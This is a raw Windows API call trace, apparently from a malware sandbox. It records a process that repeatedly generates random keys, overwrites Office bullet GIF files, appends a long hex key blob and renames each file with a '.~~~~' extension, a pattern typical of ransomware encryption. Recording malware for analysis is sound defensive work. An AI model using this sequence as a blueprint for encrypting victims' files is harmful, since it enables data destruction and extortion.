	[0127.495] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.495] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.496] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24748564942) returned 1
	[0127.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb57287b0, dwHighDateTime=0x1d60e1e)) 
	[0127.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6ce0
	[0127.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ce0 | out: hHeap=0x300000) returned 1
	[0127.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f2098
	[0127.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f2098 | out: hHeap=0x300000) returned 1
	[0127.496] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.497] GetLastError () returned 0x0
	[0127.497] GetLastError () returned 0x0
	[0127.497] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.497] GetLastError () returned 0x0
	[0127.497] GetLastError () returned 0x0
	[0127.500] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.500] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xb3, lpOverlapped=0x0) returned 1
	[0127.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.503] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.503] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.503] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.503] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.503] CloseHandle (hObject=0x138) returned 1
	[0127.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f2098
	[0127.504] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14757_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14757_.gif.~~~~")) returned 1
	[0127.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f2098 | out: hHeap=0x300000) returned 1
	[0127.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.507] GetLastError () returned 0x0
	[0127.509] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.510] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.510] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.510] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24750022214) returned 1
	[0127.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb574e910, dwHighDateTime=0x1d60e1e)) 
	[0127.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6d18
	[0127.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6d18 | out: hHeap=0x300000) returned 1
	[0127.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6538
	[0127.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0127.511] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.511] GetLastError () returned 0x0
	[0127.511] GetLastError () returned 0x0
	[0127.512] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.512] GetLastError () returned 0x0
	[0127.512] GetLastError () returned 0x0
	[0127.513] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffeef, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.513] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x111, lpOverlapped=0x0) returned 1
	[0127.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.515] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.515] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.515] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.515] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.516] CloseHandle (hObject=0x138) returned 1
	[0127.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6538
	[0127.516] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14790_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14790_.gif.~~~~")) returned 1
	[0127.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0127.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.518] GetLastError () returned 0x0
	[0127.518] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.519] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.519] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.520] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24750968718) returned 1
	[0127.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb574e910, dwHighDateTime=0x1d60e1e)) 
	[0127.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6d50
	[0127.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6d50 | out: hHeap=0x300000) returned 1
	[0127.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6d18
	[0127.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6d18 | out: hHeap=0x300000) returned 1
	[0127.520] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.521] GetLastError () returned 0x0
	[0127.521] GetLastError () returned 0x0
	[0127.521] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.521] GetLastError () returned 0x0
	[0127.521] GetLastError () returned 0x0
	[0127.523] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffba5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.523] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x45b, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x45b, lpOverlapped=0x0) returned 1
	[0127.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.525] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.525] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.526] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.526] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.526] CloseHandle (hObject=0x138) returned 1
	[0127.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6d18
	[0127.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14791_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14791_.gif.~~~~")) returned 1
	[0127.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6d18 | out: hHeap=0x300000) returned 1
	[0127.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.528] GetLastError () returned 0x0
	[0127.528] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.529] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.529] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.530] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24751971938) returned 1
	[0127.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5774a70, dwHighDateTime=0x1d60e1e)) 
	[0127.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6d88
	[0127.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6d88 | out: hHeap=0x300000) returned 1
	[0127.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6688
	[0127.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6688 | out: hHeap=0x300000) returned 1
	[0127.530] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.531] GetLastError () returned 0x0
	[0127.531] GetLastError () returned 0x0
	[0127.531] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.531] GetLastError () returned 0x0
	[0127.531] GetLastError () returned 0x0
	[0127.532] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff05, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.533] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xfb, lpOverlapped=0x0) returned 1
	[0127.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.535] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.535] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.535] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.535] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.535] CloseHandle (hObject=0x138) returned 1
	[0127.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6688
	[0127.535] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14792_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14792_.gif.~~~~")) returned 1
	[0127.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6688 | out: hHeap=0x300000) returned 1
	[0127.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.537] GetLastError () returned 0x0
	[0127.537] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0127.539] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.539] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.539] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24752914009) returned 1
	[0127.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb579abd0, dwHighDateTime=0x1d60e1e)) 
	[0127.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6df8
	[0127.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6df8 | out: hHeap=0x300000) returned 1
	[0127.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6c70
	[0127.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6c70 | out: hHeap=0x300000) returned 1
	[0127.540] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.540] GetLastError () returned 0x0
	[0127.540] GetLastError () returned 0x0
	[0127.540] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.541] GetLastError () returned 0x0
	[0127.541] GetLastError () returned 0x0
	[0127.542] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff10, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.542] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xf0, lpOverlapped=0x0) returned 1
	[0127.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.544] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.544] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.544] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.544] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.545] CloseHandle (hObject=0x138) returned 1
	[0127.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6c70
